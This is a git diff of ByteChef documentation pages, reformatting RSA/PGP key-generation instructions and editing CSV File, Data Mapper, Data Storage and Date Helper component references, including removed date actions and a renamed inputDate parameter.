 ### Verify
 Name: verify
@@ -469,34 +446,36 @@ Type: BOOLEAN
 
 
 
-#### Generate RSA key pair
 
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
 
 
+<hr />
 
+# Additional Instructions
 
+How to generate RSA key pair:
 
-<hr />
+    1. Run this command in terminal to create private_key.pem in the working directory:
+        openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048
+        
+    2. Run this command in terminal to extract public key form the private key:
+        openssl rsa -pubout -in private_key.pem -out public_key.pem
+    
+    3. To read the keys run this in terminal:
+        cat public_key.pem or cat private_key.pem
 
-# Additional Instructions
+How to generate PGP key pair:
+
+    Run these commands in terminal.
+
+    1. sudo apt install gnupg
+
+    2. gpg --full-generate-key
+
+    3. When prompted write your name, email address, comment and passphrase
+
+    4. To get public key run:
+        gpg --armor --export &lt;our_email_address&gt; &gt; public_key.asc
 
-### How to generate RSA key pair
-
-1. Run this command in terminal to create private_key.pem in the working directory:
-        `openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048`
-2. Run this command in terminal to extract public key form the private key:
-        `openssl rsa -pubout -in private_key.pem -out public_key.pem`
-3. To read the keys run this in terminal:
-        `cat public_key.pem or cat private_key.pem`
-
-### How to generate PGP key pair
-
-1. Run these commands in terminal.
-2. `sudo apt install gnupg`
-3. `gpg --full-generate-key`
-4. When prompted write your name, email address, comment and passphrase
-5. To get public key run:
-        `gpg --armor --export &lt;our_email_address&gt; &gt; public_key.asc`
-6. To get private key run:
-        `gpg --armor --export-secret-key &lt;our_email_address&gt; &gt; private_key.asc`
+    5. To get private key run:
+        gpg --armor --export-secret-key &lt;our_email_address&gt; &gt; private_key.asc
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/csv-file_v1.mdx b/docs/content/docs/reference/components/csv-file_v1.mdx
index 5ac89633b43..b5033601507 100644
--- a/docs/content/docs/reference/components/csv-file_v1.mdx
+++ b/docs/content/docs/reference/components/csv-file_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "CSV File"
-description: "Reads and writes data from a csv file."
+description: "CSV File component. Read and write CSV data in ByteChef. Integrate CSV files with databases and APIs. Learn how to implement this in your ByteChef automation."
+title: CSV File
 ---
 
-
 Categories: Helpers
 
 
@@ -66,8 +65,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Write to CSV File
 Name: write
 
@@ -123,8 +120,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Append to CSV File
 Name: append
 
@@ -182,10 +177,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/data-mapper_v1.mdx b/docs/content/docs/reference/components/data-mapper_v1.mdx
index fd290c2fa7e..04dcaed86c3 100644
--- a/docs/content/docs/reference/components/data-mapper_v1.mdx
+++ b/docs/content/docs/reference/components/data-mapper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Data Mapper"
-description: "The Data Mapper enables you to configure data mappings."
+description: "Data Mapper integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Data Mapper
 ---
 
-
 Categories: Helpers
 
 
@@ -54,8 +53,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Map Objects to Object
 Name: mapObjectsToObject
 
@@ -101,8 +98,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Merge and Pivot Properties by Key
 Name: mergeAndPivotPropertiesByKey
 
@@ -137,8 +132,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Rename Keys
 Name: renameKeys
 
@@ -174,8 +167,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Replace All Specified Values
 Name: replaceAllSpecifiedValues
 
@@ -224,8 +215,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Replace Multiple Values by Key
 Name: replaceMultipleValuesByKey
 
@@ -263,8 +252,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Replace Value
 Name: replaceValue
 
@@ -331,8 +318,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 <hr />
 
 # Additional Instructions
@@ -363,7 +348,7 @@ By defining these mappings, the Rename Keys action effectively helps in normaliz
 
 ### Example
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/177e078b-541d-44e0-8a5b-f7ef2748d6dd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -411,7 +396,7 @@ This action can be used when you want to replace multiple values, but don't know
 
 ### Example
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
 <iframe src="https://www.guidejar.com/embed/b8136d72-51b0-4edc-b3d9-f9d58a49a4c0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -438,7 +423,7 @@ This method is especially useful for restructuring or transforming the structure
 
 ### Example
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/4da6cdd8-d5e1-40ed-b8b6-b54a88369f6d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -490,7 +475,7 @@ This action is designed to convert a given single object or an array of objects
 
 ### Example
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/901fe11a-f79e-474f-9a23-8036fdcfca01?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -513,6 +498,6 @@ This action transforms an array of objects into a new, consolidated object based
 
 ### Example
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/2bda7178-8fa4-48af-9526-b5192d0b8fb1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/data-storage_v1.mdx b/docs/content/docs/reference/components/data-storage_v1.mdx
index da419354fbc..fdb14bdc527 100644
--- a/docs/content/docs/reference/components/data-storage_v1.mdx
+++ b/docs/content/docs/reference/components/data-storage_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Data Storage"
-description: "Using the Data Storage component, you can easily manage and operate on lists and objects by setting or retrieving any desired data. This process employs a key-value store mechanism, where the key represents the field's name and the value corresponds to the particular data's actual value."
+description: "Data Storage component for ByteChef. Manage and operate on lists and objects with key-value store. Learn how to implement this in your ByteChef automation."
+title: Data Storage
 ---
 
-
 Categories: Helpers
 
 
@@ -64,8 +63,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Atomic Increment
 Name: atomicIncrement
 
@@ -106,8 +103,6 @@ Type: INTEGER
 
 
 
-
-
 ### Await Get Value
 Name: awaitGetValue
 
@@ -155,8 +150,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Delete Value
 Name: deleteValue
 
@@ -189,8 +182,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Delete Value from List
 Name: deleteValueFromlist
 
@@ -225,8 +216,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get All Entries(Keys and Values)
 Name: getAllEntries
 
@@ -257,8 +246,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Get Value
 Name: getValue
 
@@ -304,8 +291,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Set Value
 Name: setValue
 
@@ -351,8 +336,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Set Value in List
 Name: setValueInList
 
@@ -402,8 +385,6 @@ This action does not produce any output.
 
 
 
-
-
 <hr />
 
 # Additional Instructions
@@ -588,4 +569,4 @@ How do I see everything stored in a scope?
 - Use `Get All Entries (Keys and Values)` with the desired `scope`.
 
 Where can I find the full schema for each action?
-- See the component reference: `/docs/reference/components/data-storage_v1`.
+- See the component reference: `/docs/reference/components/data-storage_v1`.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/data-stream-processor_v1.mdx b/docs/content/docs/reference/components/data-stream-processor_v1.mdx
deleted file mode 100644
index 05887423c21..00000000000
--- a/docs/content/docs/reference/components/data-stream-processor_v1.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: "Data Stream Processor"
-description: "Processes and transforms data in data streams."
----
-
-
-Categories: Helpers
-
-
-Type: dataStreamProcessor/v1
-
-<hr />
-
-
-
-
-
-
diff --git a/docs/content/docs/reference/components/date-helper_v1.mdx b/docs/content/docs/reference/components/date-helper_v1.mdx
index 09c2e97e640..b173a368394 100644
--- a/docs/content/docs/reference/components/date-helper_v1.mdx
+++ b/docs/content/docs/reference/components/date-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Date Helper"
-description: "Helper component for date and time manipulation."
+description: "Date Helper component. Parse, format, and manipulate dates. Handle timezones and conversions. Learn how to implement this in your ByteChef automation."
+title: Date Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -26,7 +25,7 @@ Name: addTime
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date to which time will be added. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
+| inputDate | Date | DATE_TIME |  | true |
 | dateFormat | Date Format | STRING <details> <summary> Options </summary> <span title="Sun Sep 17 2023 11:23:58">EEE MMM dd yyyy HH:mm:ss</span>, <span title="Sun Sep 17 11:23:58 2023">EEE MMM dd HH:mm:ss yyyy</span>, <span title="September 17 2023 11:23:58">MMMM dd yyyy HH:mm:ss</span>, <span title="September 17 2023">MMMM dd yyyy</span>, <span title="Sep 17 2023">MMM dd yyyy</span>, <span title="2023-09-17T11:23:58">yyyy-MM-dd'T'HH:mm:ss</span>, <span title="2023-09-17 11:23:58">yyyy-MM-dd HH:mm:ss</span>, <span title="2023-09-17">yyyy-MM-dd</span>, <span title="09-17-2023">MM-dd-yyyy</span>, <span title="09/17/2023">MM/dd/yyyy</span>, <span title="09/17/23">MM/dd/yy</span>, <span title="17-09-2023">dd-MM-yyyy</span>, <span title="17/09/2023">dd/MM/yyyy</span>, <span title="17.09.2023">dd.MM.yyyy</span>, <span title="17/09/23">dd/MM/yy</span>, <span title="17.09.23">dd.MM.yy</span>, <span title="1694949838">UnixTimestamp</span> </details> | Here's what each part of the format (eg. YYYY) means: yyyy : Year (4 digits) yy : Year (2 digits) MMMM : Month (full name) MMM : Month (short name) MM : Month (2 digits) EEE : Day (short name) dd : Day (2 digits) HH : Hour (2 digits) mm : Minute (2 digits) ss : Second (2 digits). | true |
 | year | Year | INTEGER | Years to add. | false |
 | month | Month | INTEGER | Months to add. | false |
@@ -41,7 +40,7 @@ Name: addTime
   "label" : "Add Time",
   "name" : "addTime",
   "parameters" : {
-    "date" : "2021-01-01T00:00:00",
+    "inputDate" : "2021-01-01T00:00:00",
     "dateFormat" : "",
     "year" : 1,
     "month" : 1,
@@ -67,94 +66,6 @@ Type: STRING
 
 
 
-
-
-### Compare Dates
-Name: compareDates
-
-`Compares two dates.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| dateA | Date A | DATE_TIME | First date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| dateB | Date B | DATE_TIME | Second date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| resolution | Resolution | STRING <details> <summary> Options </summary> <span>year</span>, <span>month</span>, <span>day</span>, <span>hour</span>, <span>minute</span>, <span>second</span> </details> | The resolution at which the dates will be compared. Chosen resolution will be the smallest time unit that will be compared. | true |
-| comparison | Comparison | STRING <details> <summary> Options </summary> <span>IS_AFTER</span>, <span>IS_AFTER_OR_EQUAL</span>, <span>IS_BEFORE</span>, <span>IS_BEFORE_OR_EQUAL</span>, <span>IS_EQUAL</span> </details> | The type of comparison to be performed. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Compare Dates",
-  "name" : "compareDates",
-  "parameters" : {
-    "dateA" : "2021-01-01T00:00:00",
-    "dateB" : "2021-01-01T00:00:00",
-    "resolution" : "",
-    "comparison" : ""
-  },
-  "type" : "dateHelper/v1/compareDates"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Compare Times
-Name: compareTimes
-
-`Compare two time values, ignoring the dates/days.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| dateA | Date A | DATE_TIME | First date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| dateB | Date B | DATE_TIME | Second date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| comparison | Comparison | STRING <details> <summary> Options </summary> <span>IS_AFTER</span>, <span>IS_AFTER_OR_EQUAL</span>, <span>IS_BEFORE</span>, <span>IS_BEFORE_OR_EQUAL</span>, <span>IS_EQUAL</span> </details> | The type of comparison to be performed. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Compare Times",
-  "name" : "compareTimes",
-  "parameters" : {
-    "dateA" : "2021-01-01T00:00:00",
-    "dateB" : "2021-01-01T00:00:00",
-    "comparison" : ""
-  },
-  "type" : "dateHelper/v1/compareTimes"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
 ### Convert Date Timestamp
 Name: convertUnixTimestampToIso8601
 
@@ -193,8 +104,6 @@ Type: STRING
 
 
 
-
-
 ### Date Difference
 Name: dateDifference
 
@@ -204,8 +113,8 @@ Name: dateDifference
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| startDate | Start Date | DATE_TIME | Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| endDate | End Date | DATE_TIME | End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
+| startDate | Start Date | DATE_TIME |  | true |
+| endDate | End Date | DATE_TIME |  | true |
 | unit | Unit | STRING <details> <summary> Options </summary> <span>year</span>, <span>month</span>, <span>day</span>, <span>hour</span>, <span>minute</span>, <span>second</span> </details> | The unit of difference between the two dates. | true |
 
 #### Example JSON Structure
@@ -235,52 +144,6 @@ Type: NUMBER
 
 
 
-
-
-### Date Is in the Last
-Name: dateIsInLast
-
-`Allows you to easily check if a given date has occurred in the last X number of seconds, minutes, hours, or days.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date for which you want to check is it in the last X number of selected time units. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| timeZone | Time Zone | STRING | Time zone to use when checking the date. | true |
-| inLast | In Last | INTEGER | Number of how many time units. | true |
-| unit | Unit | STRING <details> <summary> Options </summary> <span>year</span>, <span>month</span>, <span>day</span>, <span>hour</span>, <span>minute</span>, <span>second</span> </details> | The unit of difference between the two dates. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Date Is in the Last",
-  "name" : "dateIsInLast",
-  "parameters" : {
-    "date" : "2021-01-01T00:00:00",
-    "timeZone" : "",
-    "inLast" : 1,
-    "unit" : ""
-  },
-  "type" : "dateHelper/v1/dateIsInLast"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
 ### Extract Date Units
 Name: extractDateUnits
 
@@ -290,7 +153,7 @@ Name: extractDateUnits
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | The date from which to extract the specified unit. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
+| inputDate | Date | DATE_TIME | The date from which to extract the specified unit. | true |
 | unit | Unit to Extract | STRING <details> <summary> Options </summary> <span>year</span>, <span>month</span>, <span>day</span>, <span>hour</span>, <span>minute</span>, <span>second</span>, <span>dayOfWeek</span>, <span>monthName</span>, <span>date</span>, <span>time</span> </details> | Unit to extract from the input date. | true |
 
 #### Example JSON Structure
@@ -299,7 +162,7 @@ Name: extractDateUnits
   "label" : "Extract Date Units",
   "name" : "extractDateUnits",
   "parameters" : {
-    "date" : "2021-01-01T00:00:00",
+    "inputDate" : "2021-01-01T00:00:00",
     "unit" : ""
   },
   "type" : "dateHelper/v1/extractDateUnits"
@@ -313,48 +176,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
-### Format Date
-Name: formatDate
-
-`Format date to a desired format.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date which you want to format. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| dateFormat | Date Format | STRING <details> <summary> Options </summary> <span title="Sun Sep 17 2023 11:23:58">EEE MMM dd yyyy HH:mm:ss</span>, <span title="Sun Sep 17 11:23:58 2023">EEE MMM dd HH:mm:ss yyyy</span>, <span title="September 17 2023 11:23:58">MMMM dd yyyy HH:mm:ss</span>, <span title="September 17 2023">MMMM dd yyyy</span>, <span title="Sep 17 2023">MMM dd yyyy</span>, <span title="2023-09-17T11:23:58">yyyy-MM-dd'T'HH:mm:ss</span>, <span title="2023-09-17 11:23:58">yyyy-MM-dd HH:mm:ss</span>, <span title="2023-09-17">yyyy-MM-dd</span>, <span title="09-17-2023">MM-dd-yyyy</span>, <span title="09/17/2023">MM/dd/yyyy</span>, <span title="09/17/23">MM/dd/yy</span>, <span title="17-09-2023">dd-MM-yyyy</span>, <span title="17/09/2023">dd/MM/yyyy</span>, <span title="17.09.2023">dd.MM.yyyy</span>, <span title="17/09/23">dd/MM/yy</span>, <span title="17.09.23">dd.MM.yy</span>, <span title="1694949838">UnixTimestamp</span> </details> | Here's what each part of the format (eg. YYYY) means: yyyy : Year (4 digits) yy : Year (2 digits) MMMM : Month (full name) MMM : Month (short name) MM : Month (2 digits) EEE : Day (short name) dd : Day (2 digits) HH : Hour (2 digits) mm : Minute (2 digits) ss : Second (2 digits). | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Format Date",
-  "name" : "formatDate",
-  "parameters" : {
-    "date" : "2021-01-01T00:00:00",
-    "dateFormat" : ""
-  },
-  "type" : "dateHelper/v1/formatDate"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-
-
-
-
-
-
-
-
 ### Get Current Date
 Name: getCurrentDate
 
@@ -393,279 +214,6 @@ Type: STRING
 
 
 
-
-
-### Get Days Between
-Name: getDaysBetween
-
-`Get the number of days between two dates, rounded to the nearest day. If the second date is before the first date, the result will be negative.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| dateA | Start Date | DATE_TIME | Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| dateB | End Date | DATE_TIME | End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Days Between",
-  "name" : "getDaysBetween",
-  "parameters" : {
-    "dateA" : "2021-01-01T00:00:00",
-    "dateB" : "2021-01-01T00:00:00"
-  },
-  "type" : "dateHelper/v1/getDaysBetween"
-}
-```
-
-#### Output
-
-
-
-Type: INTEGER
-
-
-
-
-
-
-
-
-
-
-### Get Duration
-Name: getDuration
-
-`Given a total number of seconds, minutes, etc. – return human readable text containing how long the duration was approximately, in the units of your choosing.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| duration | Duration | INTEGER | The duration value. | true |
-| unit | Unit | STRING <details> <summary> Options </summary> <span>year</span>, <span>month</span>, <span>day</span>, <span>hour</span>, <span>minute</span>, <span>second</span> </details> | The unit of difference between the two dates. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Duration",
-  "name" : "getDuration",
-  "parameters" : {
-    "duration" : 1,
-    "unit" : ""
-  },
-  "type" : "dateHelper/v1/getDuration"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Get Time Between
-Name: getTimeBetween
-
-`Get the time between two dates, as hh:mm:ss. If the second date is before the first date, the result will be negative.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| dateA | Start Date | DATE_TIME | Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| dateB | End Date | DATE_TIME | End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Time Between",
-  "name" : "getTimeBetween",
-  "parameters" : {
-    "dateA" : "2021-01-01T00:00:00",
-    "dateB" : "2021-01-01T00:00:00"
-  },
-  "type" : "dateHelper/v1/getTimeBetween"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| year | INTEGER | Number of years in between dates. |
-| month | INTEGER | Number of months in between dates. |
-| day | INTEGER | Number of days in between dates. |
-| hour | INTEGER | Number of hours in between dates. |
-| minute | INTEGER | Number of minutes in between dates. |
-| second | INTEGER | Number of seconds in between dates. |
-
-
-
-
-#### Output Example
-```json
-{
-  "year" : 1,
-  "month" : 1,
-  "day" : 1,
-  "hour" : 1,
-  "minute" : 1,
-  "second" : 1
-}
-```
-
-
-
-
-### Get Time From Now
-Name: getTimeFromNow
-
-`Returns a human readable date relative to the current time, such as “in 2 months”, or “14 days ago”`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date to which time will be calculated. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Time From Now",
-  "name" : "getTimeFromNow",
-  "parameters" : {
-    "date" : "2021-01-01T00:00:00"
-  },
-  "type" : "dateHelper/v1/getTimeFromNow"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Is Between Dates?
-Name: IsBetweenDates
-
-`Check to see whether a date falls within a date range.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date to check if it is in the range. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format. | true |
-| dateA | Start Date | DATE_TIME | Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| dateB | End Date | DATE_TIME | End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| resolution | Resolution | STRING <details> <summary> Options </summary> <span>year</span>, <span>month</span>, <span>day</span>, <span>hour</span>, <span>minute</span>, <span>second</span> </details> | The resolution at which the dates will be compared. Chosen resolution will be the smallest time unit that will be compared. | true |
-| inclusive | Inclusive | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Whether the boundary is inclusive or not. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Is Between Dates?",
-  "name" : "IsBetweenDates",
-  "parameters" : {
-    "date" : "2021-01-01T00:00:00",
-    "dateA" : "2021-01-01T00:00:00",
-    "dateB" : "2021-01-01T00:00:00",
-    "resolution" : "",
-    "inclusive" : false
-  },
-  "type" : "dateHelper/v1/IsBetweenDates"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Is Between Times?
-Name: IsBetweenTimes
-
-`Check to see whether a date falls within a time range.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date to check if it is in the range. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
-| timeA | Start Time | TIME | Start time of the interval. | true |
-| timeB | End Time | TIME | End time of the interval. | true |
-| inclusive | Inclusive | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Whether the boundary is inclusive or not. | false |
-| inclusiveSeconds | Inclusive Seconds | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Whether the seconds will be compared. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Is Between Times?",
-  "name" : "IsBetweenTimes",
-  "parameters" : {
-    "date" : "2021-01-01T00:00:00",
-    "timeA" : "00:00:00",
-    "timeB" : "00:00:00",
-    "inclusive" : false,
-    "inclusiveSeconds" : false
-  },
-  "type" : "dateHelper/v1/IsBetweenTimes"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
 ### Is Business Hours?
 Name: isBusinessHours
 
@@ -675,7 +223,7 @@ Name: isBusinessHours
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date to check to see if it is business hours. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
+| inputDate | Date | DATE_TIME | Date to check to see if it is business hours. | true |
 | businessWeekStart | Business Week Start | INTEGER <details> <summary> Options </summary> <span>1</span>, <span>2</span>, <span>3</span>, <span>4</span>, <span>5</span>, <span>6</span>, <span>7</span> </details> | First day of the business week. | true |
 | businessWeekEnd | Business Week End | INTEGER <details> <summary> Options </summary> <span>1</span>, <span>2</span>, <span>3</span>, <span>4</span>, <span>5</span>, <span>6</span>, <span>7</span> </details> | Last day of the business week. | true |
 | businessHoursStart | Business Hours Start | TIME | Time of the day that business hours start. | true |
@@ -688,7 +236,7 @@ Name: isBusinessHours
   "label" : "Is Business Hours?",
   "name" : "isBusinessHours",
   "parameters" : {
-    "date" : "2021-01-01T00:00:00",
+    "inputDate" : "2021-01-01T00:00:00",
     "businessWeekStart" : 1,
     "businessWeekEnd" : 1,
     "businessHoursStart" : "00:00:00",
@@ -712,8 +260,6 @@ Type: BOOLEAN
 
 
 
-
-
 ### Is Weekend?
 Name: isWeekend
 
@@ -723,7 +269,7 @@ Name: isWeekend
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date to check to see if it is a weekend. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
+| inputDate | Date | DATE_TIME | Date to check to see if it is a weekend. | true |
 | timeZone | Time Zone | STRING | Time zone you are in. | true |
 
 #### Example JSON Structure
@@ -732,7 +278,7 @@ Name: isWeekend
   "label" : "Is Weekend?",
   "name" : "isWeekend",
   "parameters" : {
-    "date" : "2021-01-01T00:00:00",
+    "inputDate" : "2021-01-01T00:00:00",
     "timeZone" : ""
   },
   "type" : "dateHelper/v1/isWeekend"
@@ -752,8 +298,6 @@ Type: BOOLEAN
 
 
 
-
-
 ### Subtract Time
 Name: subtractTime
 
@@ -763,7 +307,7 @@ Name: subtractTime
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| date | Date | DATE_TIME | Date from which time will be subtracted. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format | true |
